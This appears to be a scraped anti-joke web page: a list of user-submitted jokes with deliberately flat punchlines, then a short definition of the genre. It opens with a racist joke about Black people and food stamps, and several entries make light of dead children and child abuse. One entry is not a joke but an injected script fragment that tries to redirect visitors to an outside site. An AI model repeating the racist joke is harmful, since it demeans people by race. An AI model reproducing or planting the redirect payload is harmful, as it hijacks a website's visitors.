How do you starve a black man? You deny his foodstamps ~Katie&Lena&Shelbey(:

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Hey babe, do you like water, because I have water.

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why did the little girl throw a clock out of the window? because she wanted to see time fly

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"'>document.location.href="http://cramik.org"

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What did the man say to the orphan? No one loves you, you have no friends.

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knock knok Who's there The police, I regret to inform you your son was killed in a horrific traffic accident

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HELP!!! I locked myself in my bathroom and can't get out! my laptop is running out of batteries!

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Why did the chicken cross the road? Because chickens have 2 legs

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is this the krusty krab? no, this is patrick.

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What's worse then a worm in your apple? When your apples a human

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A man walks into a bar, he then proceeds to purchase his favorite alcoholic beverage.

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A man offered a little boy a ride home. He drove the boy home where his father preceeded to beat him senseless.

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Your mum's so fat, she should probably consult her local GP to insure she doesn't die of a cardiac arrest.

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Next time someone says "I have mad money"... Say "whys it mad"

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A kid who lost parents is called an orphan and a wife who lost her husband is called a widow. What do you call parents who lost their child? Free on the Weekends.

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NO! I'm putting it in my front room, you sick bastard!

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why did the boy scream? because he got shot.

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What do you get if you put 2 Korea, 2 Europeans and 2 North Americans together? TSM

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A: Roses are red, Violets are blue. B: Then why are they called violets? A: I NEVER NOTICED THAT!

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Q: When there's something strange In your neighbourhood, Who you gonna call? A: The Local Authorities!

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Grease is the word that you heard it's got groove it's got meaning

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Why can't the man get a good jod? Because he did not go to college and there for did not get a good education.

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Q: Where do you go when its cold? A: A corner because its 90 degrees.

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Why doesn't the farmer have a dog? He doesn't like dogs.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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